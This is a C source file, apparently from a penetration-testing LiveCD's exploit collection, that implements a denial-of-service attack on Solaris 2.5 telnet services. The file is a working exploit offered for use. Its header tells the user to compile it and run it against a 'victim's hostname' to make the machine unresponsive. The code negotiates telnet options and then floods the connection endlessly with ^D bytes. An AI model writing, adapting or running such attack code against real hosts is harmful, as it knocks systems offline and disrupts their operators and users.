home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / remote / telnet.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  96 lines

  1.  
  2. /*  Here is a little proggie reputed to make Solaris 2.5 machines
  3. **  totally unresponsive for the duration of the attack.  You need
  4. **  a real internet connection from the attacker to the victim,
  5. **  but very little bandwidth is required to keep the victim "down 'n
  6. **  out" once the attack is underway.  If the output of dots stops
  7. **  for long pauses, the attack is working.  If the dots keep coming
  8. **  fast or you get a SIGPIPE, the attack didn't work.
  9. **
  10. **  The victim must offer a login prompt on port 23.
  11. **
  12. **  This isn't 100% -- some machines resist, and you may have to try
  13. **  multiple times on some machines, but with a few tries most 2.5
  14. **  machines seem to bite it hard.
  15. **
  16. **  To make, if your system is BSD'ish:  gcc <thisfile>
  17. **       ...if your system is SysV'ish:  gcc -lnsl -lsocket <thisfile>
  18. **
  19. **  Usage: a.out <victim's hostname>
  20. **
  21. **  Have phun!
  22. */
  23.  
  24. #include <signal.h>
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <netinet/in.h>
  28. #include <netdb.h>
  29. #include <arpa/telnet.h>
  30. #include <string.h>
  31. #include <unistd.h>
  32.  
  33. #define BUFSIZE 100
  34. #define DOTS
  35.  
  36. void catchit(void)
  37. {
  38.   printf("\nCaught SIGPIPE -- your link may be too slow.\n");
  39.   exit(1);
  40. }
  41.  
  42. int main(int argc, char *argv[])
  43. {
  44.   unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \
  45.                                    TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \
  46.                                    TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO};
  47.  
  48.   unsigned char nastybuf[BUFSIZE];
  49.   struct sockaddr_in sin;
  50.   struct servent *sp;
  51.   struct hostent *hp;
  52.   int s;
  53.  
  54.   typedef void (*sig_t) (int);
  55.   signal(SIGPIPE,(sig_t)catchit);
  56.  
  57.   memset(nastybuf,4,BUFSIZE);  /* ascii 4 = ^D */
  58.  
  59.   if (!(s = socket(AF_INET, SOCK_STREAM, 0)))
  60.     {
  61.       printf("no socket\n");
  62.       exit(1);
  63.     }
  64.  
  65.   if (!(hp = gethostbyname(argv[1])))
  66.     {
  67.       printf("unknown host\n");
  68.       exit(1);
  69.     }
  70.  
  71.   bzero(&sin,sizeof(sin));
  72.   bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
  73.   sin.sin_family = AF_INET;
  74.   sp = getservbyname("telnet","tcp");
  75.   sin.sin_port = sp->s_port;
  76.  
  77.   if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1)
  78.     {
  79.       printf("can't connect to host\n");
  80.       exit(1);
  81.     }
  82.  
  83.   printf("connected to %s\n",argv[1]);
  84.   write(s,kludge_telopt,21);   /* kludge some telnet negotiation */
  85.  
  86.   /*  "Let them eat ^Ds..." */
  87.  
  88.   while (write(s,nastybuf,BUFSIZE) != -1)
  89.     {
  90.  
  91. #ifdef DOTS
  92.       write(STDOUT_FILENO,".",1);
  93. #endif
  94.     }
  95. }
  96. /*                    www.hack.co.za              [2000]*/